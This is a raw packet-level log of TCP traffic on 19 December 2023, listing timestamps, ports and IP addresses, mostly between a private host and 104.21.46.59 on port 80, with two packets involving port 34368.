Dec 19, 2023 03:22:44.722057104 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.722733021 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.722745895 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.722755909 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.722790003 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.722799063 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.722820044 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.722840071 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.723642111 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.723684072 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.723691940 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.723697901 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.723723888 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.723752975 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.723803043 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.723846912 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.724483013 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.724497080 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.724529982 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.724543095 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.724543095 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.724584103 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.724586010 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728391886 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728404045 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728447914 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.728457928 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728470087 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728518963 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.728574038 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728718996 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.728874922 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728888035 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728946924 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.728975058 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.728976011 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.729031086 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.729038954 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.729706049 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.729763031 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.729778051 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.729790926 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.729803085 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.729832888 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.729840994 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.729886055 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.730621099 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.730633974 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.730657101 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.730669022 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.730726957 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.730765104 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.730765104 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.731571913 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.731623888 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.731656075 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.731697083 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.731713057 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.731740952 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.731767893 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.731811047 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.732388020 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.732399940 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.732450962 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.732456923 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.732469082 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.732506990 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.732511997 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.733268023 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.733319998 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.733386040 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.733413935 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.733442068 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.733458996 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.733478069 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.733529091 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.734523058 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.734585047 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.734633923 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.734800100 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735486984 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735548973 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.735558033 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735644102 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735656977 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735691071 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.735703945 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735750914 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.735816956 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735860109 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.735905886 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.736258984 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.736329079 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.736342907 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.736352921 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.736377954 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.736407042 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.736416101 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.736918926 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.736959934 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.736980915 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.737020969 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737065077 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.737076044 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737186909 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737236977 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.737718105 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737771988 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737827063 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.737847090 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737910032 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737921953 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.737953901 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.738656998 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.738713026 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.738755941 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.738769054 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.738801956 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.738815069 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.738815069 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.738859892 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.739500046 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.739561081 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.739573002 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.739586115 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.739609003 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.739639044 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.809813976 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.809828043 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.809858084 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.809873104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.809930086 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.809935093 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.809930086 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.810287952 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.810344934 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.810389042 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.810446978 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.810492039 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.810512066 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.810578108 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.810632944 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.811147928 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.811178923 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.811225891 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.812443972 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.812515020 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.812553883 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.812577009 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.812618017 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.812664032 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.812686920 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.812850952 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.812901974 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.813024044 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.813114882 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.813163042 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.813179970 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.813256979 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.813311100 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.835171938 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835287094 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835336924 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.835354090 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835366011 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835407019 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.835438967 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835462093 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835505009 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.835594893 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835653067 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835700989 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.835814953 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835891962 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.835935116 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.835972071 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.836107969 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.836148977 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.836157084 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.836191893 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.836236000 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.836288929 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.836569071 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.836613894 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.836852074 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.836890936 CET	34368	49746	38.47.221.193	192.168.2.4
Dec 19, 2023 03:22:44.837104082 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837169886 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.837316990 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837405920 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837450981 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.837487936 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837579012 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837624073 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.837639093 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837704897 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837748051 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.837749958 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837905884 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.837954044 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.837981939 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.838072062 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.838116884 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.838155031 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.838454008 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.838502884 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.838538885 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.838633060 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.838680029 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.838701963 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.838988066 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.839031935 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.839035034 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.839303017 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.839349031 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.839757919 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.839984894 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.840034962 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.840034962 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.840050936 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.840094090 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.840162039 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.840729952 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.840778112 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.840890884 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.840974092 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.841018915 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.841116905 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.841209888 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.841254950 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.841320038 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.841389894 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.841434956 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.841646910 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.841720104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.841763973 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.841970921 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.842139959 CET	49746	34368	192.168.2.4	38.47.221.193
Dec 19, 2023 03:22:44.842216015 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.842266083 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.842294931 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.842369080 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.842412949 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.842420101 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.842626095 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.842677116 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.842693090 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.843113899 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.843158960 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.843415976 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.843625069 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.843669891 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.843763113 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.843827009 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.843873978 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.843936920 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.844016075 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.844063044 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.844166040 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.844316006 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.844360113 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.844674110 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.844846010 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.844890118 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.844899893 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.845120907 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.845165968 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.845204115 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.845457077 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.845504999 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.845746994 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.845803976 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.845849037 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.845859051 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.846005917 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.846051931 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.846409082 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.846668959 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.846712112 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.846714020 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847116947 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847183943 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847183943 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.847263098 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847313881 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.847565889 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847618103 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847660065 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.847668886 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847938061 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.847981930 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.848020077 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.848535061 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.848598003 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.848635912 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.848733902 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.848783970 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.848798990 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.848848104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.848900080 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.849378109 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.849457979 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.849503994 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.849560022 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.849647045 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.849694967 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.849733114 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.850218058 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.850272894 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.850311995 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.850361109 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.850409985 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.850492001 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.850549936 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.850600958 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.851135969 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.851241112 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.851293087 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.851305008 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.851397038 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.851445913 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.851599932 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.852015018 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.852065086 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.852174044 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.852317095 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.852365017 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.852454901 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.852596998 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.852648020 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.853890896 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.853974104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.854022980 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.854171038 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.854290962 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.854341984 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.854342937 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.854414940 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:44.854463100 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:44.854485989 CET	80	49753	104.21.46.59	192.168.2.4
